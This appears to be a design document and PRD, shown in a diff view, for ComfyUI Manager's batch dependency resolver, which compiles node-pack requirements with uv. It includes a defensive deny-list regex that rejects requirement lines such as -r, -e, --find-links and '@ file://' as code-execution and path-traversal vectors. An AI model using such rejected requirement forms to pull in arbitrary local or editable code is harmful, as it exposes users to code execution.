name: str # Package name (normalized)
spec: str # Original spec (e.g., "torch>=2.0")
source: str # Source node pack path
@dataclass
class CollectedDeps:
"""All collected dependencies"""
requirements: list[PackageRequirement] # Collected deps (duplicates allowed, uv resolves)
skipped: list[tuple[str, str]] # (package_name, skip_reason)
sources: dict[str, list[tuple[str, str]]] # {package_name: [(pack_path, pkg_spec), ...]}
"""pkg_name → [(pack_path, pkg_spec), ...] — tracks which node packs request each package."""
extra_index_urls: list[str] # Additional index URLs separated from --index-url entries
@dataclass
class LockfileResult:
"""Compilation result"""
success: bool
lockfile_path: str | None # pinned requirements.txt path
conflicts: list[str] # Conflict details
stderr: str # uv error output
@dataclass
class InstallResult:
"""Installation result (uv pip install -r is atomic: all-or-nothing)"""
success: bool
installed: list[str] # Installed packages (stdout parsing)
skipped: list[str] # Already installed (stdout parsing)
stderr: str # uv stderr output (for failure analysis)
@dataclass
class ResolveResult:
"""Full pipeline result"""
success: bool
collected: CollectedDeps | None
lockfile: LockfileResult | None
install: InstallResult | None
error: str | None
```
---
## 3. Core Logic Details
### 3.1 Dependency Collection (`collect_requirements`)
```python
# Input sanitization: dangerous patterns to reject
_DANGEROUS_PATTERNS = re.compile(
r'^(-r\b|--requirement\b|-e\b|--editable\b|-c\b|--constraint\b'
r'|--find-links\b|-f\b|.*@\s*file://)',
re.IGNORECASE
)
def collect_requirements(self) -> CollectedDeps:
requirements = []
skipped = []
sources = defaultdict(list)
extra_index_urls = []
for path in self.node_pack_paths:
# Exclude disabled node packs (directory-based mechanism)
# Disabled node packs are actually moved to custom_nodes/.disabled/,
# so they should already be excluded from input at this point.
# Defensive check: new style (.disabled/ directory) + old style ({name}.disabled suffix)
if ('/.disabled/' in path
or os.path.basename(os.path.dirname(path)) == '.disabled'
or path.rstrip('/').endswith('.disabled')):
continue
req_file = os.path.join(path, "requirements.txt")
if not os.path.exists(req_file):
continue
# chardet-based encoding detection (existing robust_readlines pattern)
for line in self._read_requirements(req_file):
line = line.split('#')[0].strip()
if not line:
continue
# 0. Input sanitization (security)
if self._DANGEROUS_PATTERNS.match(line):
skipped.append((line, f"rejected: dangerous pattern in {path}"))
logging.warning(f"[UnifiedDepResolver] rejected dangerous line: '{line}' from {path}")
continue
# 1. Separate --index-url / --extra-index-url handling
# (BEFORE path separator check, because URLs contain '/')
if '--index-url' in line or '--extra-index-url' in line:
pkg_spec, index_url = self._split_index_url(line)
if index_url:
extra_index_urls.append(index_url)
line = pkg_spec
if not line:
# Standalone option line (no package prefix)
continue
# 1b. Reject path separators in package name portion
pkg_name_part = re.split(r'[><=!~;]', line)[0]
if '/' in pkg_name_part or '\\' in pkg_name_part:
skipped.append((line, f"rejected: path separator in package name"))
continue
# 2. Apply remap_pip_package (using cm_global.pip_overrides)
pkg_spec = self._remap_package(line)
# 3. Blacklist check (cm_global.pip_blacklist)
pkg_name = self._extract_package_name(pkg_spec)
if pkg_name in self.blacklist:
skipped.append((pkg_spec, "blacklisted"))
continue
# 4. Downgrade blacklist check (includes version comparison)
if self._is_downgrade_blacklisted(pkg_name, pkg_spec):
skipped.append((pkg_spec, "downgrade blacklisted"))
continue
# 5. Collect (no dedup — uv handles resolution)
req = PackageRequirement(
name=pkg_name,
spec=pkg_spec,
source=path,
)
requirements.append(req)
sources[pkg_name].append((path, pkg_spec))
return CollectedDeps(
requirements=requirements,
skipped=skipped,
sources=dict(sources),
extra_index_urls=list(set(extra_index_urls)), # Deduplicate
)
def _split_index_url(self, line: str) -> tuple[str, str | None]:
"""Split 'package_name --index-url URL' → (package_name, URL).
Also handles standalone ``--index-url URL`` and
``--extra-index-url URL`` lines (with no package prefix).
"""
# Handle --extra-index-url first (contains '-index-url' as substring
# but NOT '--index-url' due to the extra-index prefix)
for option in ('--extra-index-url', '--index-url'):
if option in line:
parts = line.split(option, 1)
pkg_spec = parts[0].strip()
url = parts[1].strip() if len(parts) == 2 else None
return pkg_spec, url
return line, None
def _is_downgrade_blacklisted(self, pkg_name: str, pkg_spec: str) -> bool:
"""Reproduce the downgrade version comparison from existing is_blacklisted() logic.
Same logic as manager_core.py's is_blacklisted():
- No version spec and already installed → block (prevent reinstall)
- Operator is one of ['<=', '==', '<', '~='] and
installed version >= requested version → block (prevent downgrade)
- Version comparison uses manager_util.StrictVersion (NOT packaging.version)
"""
if pkg_name not in self.downgrade_blacklist:
return False
installed_packages = manager_util.get_installed_packages()
# Version spec parsing (same pattern as existing is_blacklisted())
pattern = r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
match = re.search(pattern, pkg_spec)
if match is None:
# No version spec: prevent reinstall if already installed
if pkg_name in installed_packages:
return True
elif match.group(2) in ['<=', '==', '<', '~=']:
# Downgrade operator: block if installed version >= requested version
if pkg_name in installed_packages:
try:
installed_ver = manager_util.StrictVersion(installed_packages[pkg_name])
requested_ver = manager_util.StrictVersion(match.group(3))
if installed_ver >= requested_ver:
return True
except (ValueError, TypeError):
logging.warning(f"[UnifiedDepResolver] version parse failed: {pkg_spec}")
return False
return False
def _remap_package(self, pkg: str) -> str:
"""Package name remapping based on cm_global.pip_overrides.
Reuses existing remap_pip_package() logic."""
if pkg in self.overrides:
remapped = self.overrides[pkg]
logging.info(f"[UnifiedDepResolver] '{pkg}' remapped to '{remapped}'")
return remapped
return pkg
```
### 3.2 Lockfile Generation (`compile_lockfile`)
**Behavior:**
1. Create a unique temp directory (`tempfile.mkdtemp(prefix="comfyui_resolver_")`) for concurrency safety
2. Write collected requirements and base constraints to temp files
3. Execute `uv pip compile` with options:
- `--output-file` (pinned requirements path within temp dir)
- `--python` (current interpreter)
- `--constraint` (base dependencies)
- `--extra-index-url` (from `CollectedDeps.extra_index_urls`, logged via `_redact_url()`)
4. Timeout: 300s — returns `LockfileResult(success=False)` on `TimeoutExpired`
5. On `returncode != 0`: parse stderr for conflict details via `_parse_conflicts()`
6. Post-success verification: confirm lockfile was actually created (handles edge case of `returncode==0` without output)
7. Temp directory cleanup: `shutil.rmtree()` in `except` block; on success, caller (`resolve_and_install`'s `finally`) handles cleanup
### 3.3 Dependency Installation (`install_from_lockfile`)
**Behavior:**
1. Execute `uv pip install --requirement <lockfile_path> --python <sys.executable>`
- **NOT `uv pip sync`** — sync deletes packages not in lockfile (dangerous for torch, ComfyUI deps)
2. `uv pip install -r` is **atomic** (all-or-nothing): no partial failure
3. Timeout: 600s — returns `InstallResult(success=False)` on `TimeoutExpired`
4. On success: parse stdout via `_parse_install_output()` to populate `installed`/`skipped` lists
5. On failure: `stderr` captures the failure cause; `installed=[]` (atomic model)
### 3.4 uv Command Resolution
**`_get_uv_cmd()` resolution order** (mirrors existing `get_pip_cmd()` pattern):
1. **Module uv**: `[sys.executable, '-m', 'uv']` (with `-s` flag for embedded Python — note: `python_embeded` spelling is intentional, matching ComfyUI Windows distribution path)
2. **Standalone uv**: `['uv']` via `shutil.which('uv')`
3. **Not found**: raises `UvNotAvailableError` → caught by caller for pip fallback
### 3.5 Stale Temp File Cleanup
**`cleanup_stale_tmp(max_age_seconds=3600)`** — classmethod, called at start of `resolve_and_install()`:
- Scans `tempfile.gettempdir()` for directories with prefix `comfyui_resolver_`
- Deletes directories older than `max_age_seconds` (default: 1 hour)
- Silently ignores `OSError` (permission issues, etc.)
### 3.6 Credential Redaction
```python
_CREDENTIAL_PATTERN = re.compile(r'://([^@]+)@')
def _redact_url(self, url: str) -> str:
"""Mask authentication info in URLs. user:pass@host****@host"""
return self._CREDENTIAL_PATTERN.sub('://****@', url)
```
All `--extra-index-url` logging passes through `_redact_url()`:
```python
# Logging example within compile_lockfile()
for url in deps.extra_index_urls:
logging.info(f"[UnifiedDepResolver] extra-index-url: {self._redact_url(url)}")
cmd += ["--extra-index-url", url] # Original URL passed to actual command
```
---
## 4. Existing Code Integration
### 4.1 manager_core.py Modification Points
**2 `execute_install_script()` locations — both skip deps in unified mode:**
#### 4.1.1 UnifiedManager.execute_install_script() (Class Method)
#### 4.1.2 Standalone Function execute_install_script()
**Both locations use the same pattern when unified mode is active:**
1. `lazy_mode=True` → schedule and return early (unchanged)
2. If `not no_deps and manager_util.use_unified_resolver`:
- **Skip** the `requirements.txt` pip install loop entirely (deps deferred to startup)
- Log: `"[UnifiedDepResolver] deps deferred to startup batch resolution"`
3. If `not manager_util.use_unified_resolver`: existing pip install loop runs (unchanged)
4. `install.py` execution: **always runs immediately** regardless of resolver mode
> **Parameter ordering differs:**
> - Method: `(self, url, repo_path, instant_execution, lazy_mode, no_deps)`
> - Standalone: `(url, repo_path, lazy_mode, instant_execution, no_deps)`
### 4.1.3 Startup Batch Resolver (`prestartup_script.py`)
**New**: Runs unified resolver at **module scope** — unconditionally when enabled, independent of `install-scripts.txt` existence.
**Execution point**: After config reading and `cm_global` initialization, **before** the `execute_startup_script()` gate.
**Logic** (uses module-level helpers from `unified_dep_resolver.py`):
1. `collect_node_pack_paths(folder_paths.get_folder_paths('custom_nodes'))` — enumerate all installed node pack directories
2. `collect_base_requirements(comfy_path)` — read `requirements.txt` + `manager_requirements.txt` from ComfyUI root (base deps only)
3. Create `UnifiedDepResolver` with **empty** blacklist/overrides/downgrade_blacklist (uv handles resolution natively; interface preserved for extensibility)
4. Call `resolve_and_install()` → on success set `_unified_resolver_succeeded = True`
5. On failure (including `UvNotAvailableError`): log warning, fall back to per-node pip
> `manager_requirements.txt` is read **only** from `comfy_path` (ComfyUI base), never from node packs.
> Node packs' `requirements.txt` are collected by the resolver's `collect_requirements()` method.
### 4.1.5 `execute_lazy_install_script()` Modification
When unified resolver **succeeds**, `execute_lazy_install_script()` skips the per-node pip install loop
(deps already batch-resolved at module scope). `install.py` still runs per node pack.
```python
# In execute_lazy_install_script():
if os.path.exists(requirements_path) and not _unified_resolver_succeeded:
# Per-node pip install: only runs if unified resolver is disabled or failed
...
# install.py always runs regardless
```
> **Note**: Gated on `_unified_resolver_succeeded` (success flag), NOT `use_unified_resolver` (enable flag).
> If the resolver is enabled but fails, `_unified_resolver_succeeded` remains False → per-node pip runs as fallback.
### 4.1.6 CLI Integration
Multiple entry points expose the unified resolver in `cm_cli`:
#### 4.1.6.1 Standalone Command: `cm_cli uv-compile`
On-demand batch resolution — independent of ComfyUI startup.
```bash
cm_cli uv-compile [--user-directory DIR]
```
Resolves all installed node packs' dependencies at once. Useful for environment
recovery or initial setup without starting ComfyUI.
`PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure).
#### 4.1.6.2 Install Flag: `cm_cli install --uv-compile`
```bash
cm_cli install <node1> [node2 ...] --uv-compile [--mode remote]
```
When `--uv-compile` is set:
1. `no_deps` is forced to `True` → per-node pip install is skipped during each node installation
2. After **all** nodes are installed, runs unified batch resolution over **all installed node packs**
(not just the newly installed ones — `uv pip compile` needs the complete dependency graph)
3. `PIPFixer.fix_broken()` runs after resolution (via `finally` — runs on both success and failure)
This differs from per-node pip install: instead of resolving each node pack's
`requirements.txt` independently, all deps are compiled together to avoid conflicts.
#### 4.1.6.3 Additional `--uv-compile` Commands
The following commands follow the same `no_deps` + batch-resolve pattern as `install --uv-compile`:
`cmd_ctx.set_no_deps(True)` is set before node operations, then `_run_unified_resolve()`
runs at the end via `try/finally` with `PIPFixer.fix_broken()`.
| Command | Operation |
|---------|-----------|
| `cm_cli reinstall --uv-compile` | Reinstall nodes then batch-resolve |
| `cm_cli update --uv-compile` | Update nodes then batch-resolve |
| `cm_cli fix --uv-compile` | Fix node dependencies then batch-resolve |
| `cm_cli restore-snapshot --uv-compile` | Restore snapshot then batch-resolve |
| `cm_cli restore-dependencies --uv-compile` | Restore all node deps then batch-resolve |
| `cm_cli install-deps <deps.json> --uv-compile` | Install from deps spec file then batch-resolve |
> **`reinstall` only**: Has `--uv-compile` / `--no-deps` mutual exclusion check.
> Both skip per-node pip, but `--no-deps` skips permanently while `--uv-compile` also
> triggers batch resolution after all nodes are processed.
>
> **`restore-snapshot` only**: Has an additional pre-resolution exception guard — if the
> snapshot restore itself fails (before `_run_unified_resolve()` is reached),
> `PIPFixer.fix_broken()` runs in the exception handler before exit. The `try/finally`
> applies to the `_run_unified_resolve()` call. See dec_7 for rationale.
#### Shared Design Decisions
- **Uses real `cm_global` values**: Unlike the startup path (4.1.3) which passes empty
blacklist/overrides, CLI commands pass `cm_global.pip_blacklist`,
`cm_global.pip_overrides`, and `cm_global.pip_downgrade_blacklist` — already
initialized at `cm_cli/__main__.py` module scope.
- **No `_unified_resolver_succeeded` flag**: Not needed — these are one-shot commands,
not startup gates.
- **Shared helper**: All entry points delegate to `_run_unified_resolve()` which
handles resolver instantiation, execution, and result reporting.
- **Error handling**: `UvNotAvailableError` / `ImportError` → exit 1 with message.
All entry points guarantee `PIPFixer.fix_broken()` runs regardless of outcome —
via `try/finally` around `_run_unified_resolve()`. `restore-snapshot` additionally
calls `fix_broken()` in the snapshot restore exception handler (before
`_run_unified_resolve()` is reached), per dec_7.
- **Conflict attribution output**: When resolution fails and `result.lockfile.conflicts`
is non-empty, `_run_unified_resolve()` cross-references conflict package names with
`CollectedDeps.sources` to identify which node packs requested each conflicting package:
- Normalization: both sources keys and conflict text apply `.lower().replace("-", "_")`
- Word-boundary regex `(?<![a-z0-9_])pkg(?![a-z0-9_])` prevents false-positive prefix
matches (e.g., `torch` does NOT match `torch_audio` or `torchvision`)
- Output format: sorted by package name, each entry lists `pack_basename → pkg_spec`
per requester (using `CollectedDeps.sources` tuple values `(pack_path, pkg_spec)`)
**Node pack discovery**: Uses `cmd_ctx.get_custom_nodes_paths()``collect_node_pack_paths()`,
which is the CLI-native path resolution (respects `--user-directory` and `folder_paths`).
### 4.2 Configuration Addition (config.ini)
```ini
[default]
# Existing settings...
use_unified_resolver = false # Enable unified dependency resolution
```
### 4.3 Configuration Reading
Follows the existing `read_uv_mode()` / `use_uv` pattern:
- `prestartup_script.py`: `read_unified_resolver_mode()` reads from `default_conf` → sets `manager_util.use_unified_resolver`
- `manager_core.py`: `read_config()` / `write_config()` / `get_config()` include `use_unified_resolver` key
- `read_config()` exception fallback must include `use_unified_resolver` key to prevent `KeyError` in `write_config()`
### 4.4 manager_util.py Extension
```python
# manager_util.py
use_unified_resolver = False # New global flag (separate from use_uv)
```
---
## 5. Error Handling Strategy
```mermaid
flowchart TD
STARTUP["prestartup_script.py startup"]
STARTUP --> CHK{use_unified_resolver?}
CHK -->|No| SKIP_UDR["Skip → execute_lazy_install_script per-node pip"]
CHK -->|Yes| RAI["run_unified_resolver()"]
RAI --> STALE["cleanup_stale_tmp()<br/>Clean stale temp dirs (>1 hour old)"]
STALE --> UV_CHK{uv installed?}
UV_CHK -->|No| UV_ERR["UvNotAvailableError<br/>→ Fallback: execute_lazy_install_script per-node pip"]
UV_CHK -->|Yes| CR["collect_requirements()<br/>(ALL installed node packs)"]
CR --> CR_DIS[".disabled/ path → auto-skip"]
CR --> CR_PARSE["Parse failure → skip node pack, continue"]
CR --> CR_ENC["Encoding detection failure → assume UTF-8"]
CR --> CR_DANGER["Dangerous pattern detected → reject line + log"]
CR --> CR_DG["Downgrade blacklist → skip after version comparison"]
CR --> CL["compile_lockfile()"]
CL --> CL_CONFLICT["Conflict → report + per-node pip fallback"]
CL --> CL_TIMEOUT["TimeoutExpired 300s → per-node pip fallback"]
CL --> CL_NOFILE["Lockfile not created → failure + fallback"]
CL --> CL_TMP["Temp directory → finally block cleanup"]
CL -->|Success| IL["install_from_lockfile()"]
IL --> IL_OK["Total success → parse installed/skipped"]
IL --> IL_FAIL["Total failure → stderr + per-node pip fallback (atomic)"]
IL --> IL_TIMEOUT["TimeoutExpired 600s → fallback"]
IL_OK --> PF["PIPFixer.fix_broken()<br/>Restore torch/opencv/frontend"]
PF --> LAZY["execute_lazy_install_script()<br/>(install.py only, deps skipped)"]
```
> **Fallback model**: On resolver failure at startup, `execute_lazy_install_script()` runs normally
> (per-node pip install), providing the same behavior as if unified mode were disabled.
---
## 6. File Structure
### 6.1 New Files
```
comfyui_manager/common/unified_dep_resolver.py # Main module (~350 lines, includes sanitization/downgrade logic)
tests/test_unified_dep_resolver.py # Unit tests
```
### 6.2 Modified Files
```
comfyui_manager/glob/manager_core.py # Skip per-node pip in unified mode (2 execute_install_script locations)
comfyui_manager/common/manager_util.py # Add use_unified_resolver flag
comfyui_manager/prestartup_script.py # Config reading + startup batch resolver + execute_lazy_install_script modification
```
> **Not modified**: `comfyui_manager/legacy/manager_core.py` (legacy paths retain existing pip behavior)
---
## 7. Dependencies
| Dependency | Purpose | Notes |
|-----------|---------|-------|
| `uv` | Dependency resolution and installation | Already included in project dependencies |
| `cm_global` | pip_overrides, pip_blacklist, pip_downgrade_blacklist | Reuse existing global state (runtime dynamic assignment) |
| `manager_util` | StrictVersion, get_installed_packages, use_unified_resolver flag | Reuse existing utilities |
| `tempfile` | Temporary requirements files, mkdtemp | Standard library |
| `subprocess` | uv process execution | Standard library |
| `dataclasses` | Result data structures | Standard library |
| `re` | Input sanitization, version spec parsing, credential redaction | Standard library |
| `shutil` | uv lookup (`which`), temp directory cleanup | Standard library |
| `time` | Stale temp file age calculation | Standard library |
| `logging` | Per-step logging | Standard library |
No additional external dependencies.
---
## 8. Sequence Diagram
### Install Time + Startup Batch Resolution
```mermaid
sequenceDiagram
actor User
participant MC as manager_core
participant PS as prestartup_script
participant UDR as UnifiedDepResolver
participant UV as uv (CLI)
Note over User,MC: Install Time (immediate)
User->>MC: Install node pack X
MC->>MC: Git clone / download X
MC->>MC: Skip per-node pip (unified mode)
MC->>MC: Run X's install.py
MC-->>User: Node pack installed (deps pending)
Note over User,UV: ComfyUI Restart
User->>PS: Start ComfyUI
PS->>PS: Check use_unified_resolver
PS->>UDR: Create resolver (module scope)
UDR->>UDR: collect_requirements()<br/>(ALL installed node packs)
UDR->>UV: uv pip compile --output-file
UV-->>UDR: pinned reqs.txt
UDR->>UV: uv pip install -r
UV-->>UDR: Install result
UDR-->>PS: ResolveResult(success=True)
PS->>PS: PIPFixer.fix_broken()
PS->>PS: execute_lazy_install_script()<br/>(install.py only, deps skipped)
PS-->>User: ComfyUI ready
```
---
## 9. Test Strategy
### 9.1 Unit Tests
| Test Target | Cases |
|------------|-------|
| `collect_requirements` | Normal parsing, empty file, blacklist filtering, comment handling, remap application |
| `.disabled` filtering | Exclude node packs within `.disabled/` directory path (directory-based mechanism) |
| Input sanitization | Reject lines with `-r`, `-e`, `--find-links`, `@ file://`, path separators |
| `--index-url` / `--extra-index-url` separation | `package --index-url URL`, standalone `--index-url URL`, standalone `--extra-index-url URL`, `package --extra-index-url URL` → package spec + extra_index_urls separation |
| Downgrade blacklist | Installed + lower version request → skip, not installed → pass, same/higher version → pass |
| `compile_lockfile` | Normal compilation, conflict detection, TimeoutExpired, constraint application, --output-file verification |
| Lockfile existence verification | Failure handling when file not created despite returncode==0 |
| `extra_index_urls` passthrough | Verify `--extra-index-url` argument included in compile command |
| `install_from_lockfile` | Normal install, total failure, TimeoutExpired |
| Atomic model | On failure: installed=[], stderr populated |
| `_get_uv_cmd` | Module uv, standalone uv, embedded python (`python_embeded`), not installed |
| `_remap_package` | pip_overrides remapping, unregistered packages |
| Blacklist | torch family, torchsde, custom blacklist |
| Duplicate handling | Same package with multiple specs → all passed to uv |
| Multiple paths | Collection from multiple custom_nodes paths |
| `cm_global` defense | Default values used when `pip_blacklist` etc. not assigned |
| Concurrency | Two resolver instances each use unique temp directories |
| Credential redaction | `user:pass@host` URL masked in log output |
| `_redact_url` | `://user:pass@host``://****@host` conversion, no-credential URL passthrough |
| `cleanup_stale_tmp` | Delete stale dirs >1 hour, preserve recent dirs, ignore permission errors |
| Downgrade operators | `<=`, `==`, `<`, `~=` blocked; `>=`, `>`, `!=` pass; no spec + installed → blocked |
| `StrictVersion` comparison | Verify `manager_util.StrictVersion` is used (not `packaging.version`) |
### 9.2 Integration Tests
- End-to-end test in real uv environment
- Existing pip fallback path test
- config.ini setting toggle test
- Environment integrity verification after PIPFixer call
- lazy_mode scheduling behavior verification (Windows simulation)
- `use_uv=False` + `use_unified_resolver=True` combination test
- Large-scale dependency (50+ node packs) performance test
---
## 10. Implementation Order
1. **Phase 1**: Data classes and `collect_requirements` implementation + tests
- PackageRequirement, CollectedDeps (including extra_index_urls) and other data classes
- Blacklist/override filtering
- **Downgrade blacklist** (version comparison logic included)
- **Input sanitization** (-r, -e, @ file:// etc. rejection)
- **`--index-url` / `--extra-index-url` separation handling** (package spec + extra_index_urls)
- **`.disabled` node pack filtering**
- Defensive cm_global access (getattr pattern)
2. **Phase 2**: `compile_lockfile` implementation + tests
- uv pip compile invocation
- --output-file, --constraint, --python options
- Conflict parsing logic
3. **Phase 3**: `install_from_lockfile` implementation + tests
- uv pip install -r invocation (NOT sync)
- Install result parsing
4. **Phase 4**: Integration — startup batch + install-time skip
- `prestartup_script.py`: Module-scope startup batch resolver + `execute_lazy_install_script()` deps skip
- `manager_core.py`: Skip per-node pip in 2 `execute_install_script()` locations
- `manager_util.py`: `use_unified_resolver` flag
- Config reading (`read_unified_resolver_mode()`, `read_config()`/`write_config()`)
5. **Phase 5**: Integration tests + fallback verification + startup batch tests
---
## Appendix A: Existing Code Reference
> **Note**: Line numbers may shift as code changes, so references use symbol names (function/class names).
> Use `grep -n` or IDE symbol search for exact locations.
### remap_pip_package Location (Code Duplication Exists)
```
comfyui_manager/glob/manager_core.py — def remap_pip_package(pkg)
comfyui_manager/prestartup_script.py — def remap_pip_package(pkg)
```
Both reference `cm_global.pip_overrides` with identical logic.
The unified resolver uses `cm_global.pip_overrides` directly to avoid adding more duplication.
### cm_global Global State
```python
# Dynamically assigned in prestartup_script.py (NOT defined in cm_global.py!)
cm_global.pip_blacklist = {'torch', 'torchaudio', 'torchsde', 'torchvision'} # set
cm_global.pip_overrides = {} # dict, loaded from JSON
cm_global.pip_downgrade_blacklist = [ # list
'torch', 'torchaudio', 'torchsde', 'torchvision',
'transformers', 'safetensors', 'kornia'
]
```
> **cm_cli path**: `cm_cli/__main__.py` also independently initializes these attributes.
> If the resolver may be called from the CLI path, this initialization should also be verified.
### PIPFixer Call Pattern
```python
# Within UnifiedManager.execute_install_script() method in manager_core.py:
pip_fixer = manager_util.PIPFixer(
manager_util.get_installed_packages(),
context.comfy_path,
context.manager_files_path
)
# ... (after installation)
pip_fixer.fix_broken()
```
The unified resolver does not call PIPFixer directly.
The caller (execute_install_script) calls PIPFixer as part of the existing flow.
### is_blacklisted() Logic (Must Be Reproduced in Unified Resolver)
```python
# manager_core.py — def is_blacklisted(name)
# 1. Simple pip_blacklist membership check
# 2. pip_downgrade_blacklist version comparison:
# - Parse spec with regex r'([^<>!~=]+)([<>!~=]=?)([^ ]*)'
# - match is None (no version spec) + installed → block
# - Operator in ['<=', '==', '<', '~='] + installed version >= requested version → block
# - Version comparison uses manager_util.StrictVersion (NOT packaging.version)
```
The unified resolver's `_is_downgrade_blacklisted()` method faithfully reproduces this logic.
It uses `manager_util.StrictVersion` instead of `packaging.version.parse()` to ensure consistency with existing behavior.
### Existing Code --index-url Handling (Asymmetric)
```python
# Only exists in standalone function execute_install_script():
if '--index-url' in package_name:
s = package_name.split('--index-url')
install_cmd = manager_util.make_pip_cmd(["install", s[0].strip(), '--index-url', s[1].strip()])
# UnifiedManager.execute_install_script() method does NOT have this handling
```
The unified resolver unifies both paths for consistent handling via `_split_index_url()`.
-363
View File
@@ -1,363 +0,0 @@
# PRD: Unified Dependency Resolver
## 1. Overview
### 1.1 Background
ComfyUI Manager currently installs each node pack's `requirements.txt` individually via `pip install`.
This approach causes dependency conflicts where installing a new node pack can break previously installed node packs' dependencies.
**Current flow:**
```mermaid
graph LR
A1[Install node pack A] --> A2[pip install A's deps] --> A3[Run install.py]
B1[Install node pack B] --> B2[pip install B's deps] --> B3[Run install.py]
B2 -.->|May break<br/>A's deps| A2
```
### 1.2 Goal
Implement a unified dependency installation module that uses `uv` to resolve all dependencies (installed node packs + new node packs) at once.
**New flow (unified resolver mode):**
```mermaid
graph TD
subgraph "Install Time (immediate)"
A1[User installs node pack X] --> A2[Git clone / download]
A2 --> A3["Run X's install.py (if exists)"]
A3 --> A4["Skip per-node pip install<br/>(deps deferred to restart)"]
end
subgraph "ComfyUI Restart (startup batch)"
B1[prestartup_script.py] --> B2[Collect ALL installed node packs' deps]
B2 --> B3["uv pip compile → pinned requirements.txt"]
B3 --> B4["uv pip install -r → Batch install"]
B4 --> B5[PIPFixer environment correction]
end
```
> **Terminology**: In this document, "lockfile" refers to the **pinned requirements.txt** generated by `uv pip compile`.
> This is different from the `uv.lock` (TOML format) generated by `uv lock`. We use a pip-compatible workflow.
### 1.3 Scope
- Develop a new dedicated dependency resolution module
- Opt-in activation from the existing install process
- **Handles dependency resolution (deps install) only**. `install.py` execution is handled by existing logic
---
## 2. Constraints
| Item | Description |
|------|-------------|
| **uv required** | Only operates in environments where `uv` is available |
| **Independent of `use_uv` flag** | `use_unified_resolver` is separate from the existing `use_uv` flag. Even if `use_uv=False`, setting `use_unified_resolver=True` attempts resolver activation. Auto-fallback if uv is not installed |
| **Pre-validated list** | Input node pack list is assumed to be pre-verified for mutual dependency compatibility |
| **Backward compatibility** | Existing pip-based install process is fully preserved (fallback) |
| **Blacklist/overrides bypassed** | In unified mode, `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are NOT applied (empty values passed). Constructor interface is preserved for future extensibility. `uv pip compile` handles all conflict resolution natively. **[DEFERRED]** Reading actual values from `cm_global` at startup is deferred to a future version — v1 always passes empty values |
| **Multiple custom_nodes paths** | Supports all paths returned by `folder_paths.get_folder_paths('custom_nodes')` |
| **Scope of application** | Batch resolver runs at **module scope** in `prestartup_script.py` (unconditionally when enabled, independent of `install-scripts.txt` existence). The 2 `execute_install_script()` locations skip per-node pip install when unified mode is active (deps deferred to restart). `execute_lazy_install_script()` is also modified to skip per-node pip install in unified mode. Other install paths such as `install_manager_requirements()`, `pip_install()` are outside v1 scope (future extension) |
| **Legacy module** | `comfyui_manager/legacy/manager_core.py` is excluded from modification. Legacy paths retain existing pip behavior |
---
## 3. Functional Requirements
### FR-1: Node Pack List and Base Dependency Input
**Input:**
- Node pack list (fullpath list of installed + to-be-installed node packs)
- Base dependencies (ComfyUI's `requirements.txt` and `manager_requirements.txt`)
**Behavior:**
- Validate each node pack path
- Exclude disabled (`.disabled`) node packs
- Detection criteria: Existence of `custom_nodes/.disabled/{node_pack_name}` **directory**
- Existing mechanism: Disabling a node pack **moves** it from `custom_nodes/` to `custom_nodes/.disabled/` (does NOT create a `.disabled` file inside the node pack)
- At resolver input time, disabled node packs should already be absent from `custom_nodes/`, so normally they won't be in `node_pack_paths`
- Defensively exclude any node pack paths that are within the `.disabled` directory
- Base dependencies are treated as constraints
- Traverse all paths from `folder_paths.get_folder_paths('custom_nodes')`
**`cm_global` runtime dependencies:**
- `cm_global.pip_overrides`, `pip_blacklist`, `pip_downgrade_blacklist` are dynamically assigned during `prestartup_script.py` execution
- In unified mode, these are **not applied** — empty values are passed to the resolver constructor
- The constructor interface accepts these parameters for future extensibility (defaults to empty when `None`)
### FR-2: Dependency List Extraction
**Behavior:**
- Parse `requirements.txt` from each node pack directory
- Encoding: Use `robust_readlines()` pattern (`chardet` detection, assumes UTF-8 if not installed)
- Package name remapping (constructor accepts `overrides` dict — **empty in v1**, interface preserved for extensibility)
- Blacklist package filtering (constructor accepts `blacklist` set — **empty in v1**, uv handles torch etc. natively)
- Downgrade blacklist filtering (constructor accepts `downgrade_blacklist` list — **empty in v1**)
- **Note**: In unified mode, `uv pip compile` resolves all version conflicts natively. The blacklist/overrides/downgrade_blacklist mechanisms from the existing pip flow are bypassed
- Strip comments (`#`) and blank lines
- **Input sanitization** (see below)
- Separate handling of `--index-url` entries (see below)
**Input sanitization:**
- Requirements lines matching the following patterns are **rejected and logged** (security defense):
- `-r`, `--requirement` (recursive include → path traversal risk)
- `-e`, `--editable` (VCS/local path install → arbitrary code execution risk)
- `-c`, `--constraint` (external constraint file injection)
- `--find-links`, `-f` (external package source specification)
- `@ file://` (local file reference → path traversal risk)
- Package names containing path separators (`/`, `\`)
- Allowed items: Package specs (`name>=version`), specs with `--index-url`, environment markers (containing `;`)
- Rejected lines are recorded in the `skipped` list with reason
**`--index-url` handling:**
- Existing code (standalone function `execute_install_script()`) parses `package_name --index-url URL` format for special handling
- **Note**: The class method `UnifiedManager.execute_install_script()` does NOT have this handling (asymmetric)
- The unified resolver **unifies both paths** for consistent handling:
- Package spec → added to the general dependency list
- `--extra-index-url URL` → passed as `uv pip compile` argument
- Separated index URLs are collected in `CollectedDeps.extra_index_urls`
- **Credential redaction**: Authentication info (`user:pass@`) in index URLs is masked during logging
**Duplicate handling strategy:**
- No deduplication is performed directly
- Different version specs of the same package are **all passed as-is** to uv
- `uv pip compile` handles version resolution (uv determines the optimal version)
**Output:**
- Unified dependency list (tracked by source node pack)
- Additional index URL list
### FR-3: uv pip compile Execution
**Behavior:**
- Generate temporary requirements file from the collected dependency list
- Execute `uv pip compile` to produce a pinned requirements.txt
- `--output-file` (required): Specify output file (outputs to stdout only if not specified)
- `--constraint`: Pass base dependencies as constraints
- `--python`: Current Python interpreter path
- `--extra-index-url`: Additional index URLs collected from FR-2 (multiple allowed)
- Resolve for the current platform (platform-specific results)
**Error handling:**
- Return conflict package report when resolution fails
- Timeout handling (300s): Explicitly catch `subprocess.TimeoutExpired`, terminate child process, then fallback
- Lockfile output file existence verification: Confirm file was actually created even when `returncode == 0`
- Temp file cleanup: Guaranteed in `finally` block. Includes stale temp file cleanup logic at next execution for abnormal termination (SIGKILL) scenarios
**Output:**
- pinned requirements.txt (file with all packages pinned to exact versions)
### FR-4: Pinned Requirements-based Dependency Installation
**Behavior:**
- Execute `uv pip install -r <pinned-requirements.txt>`
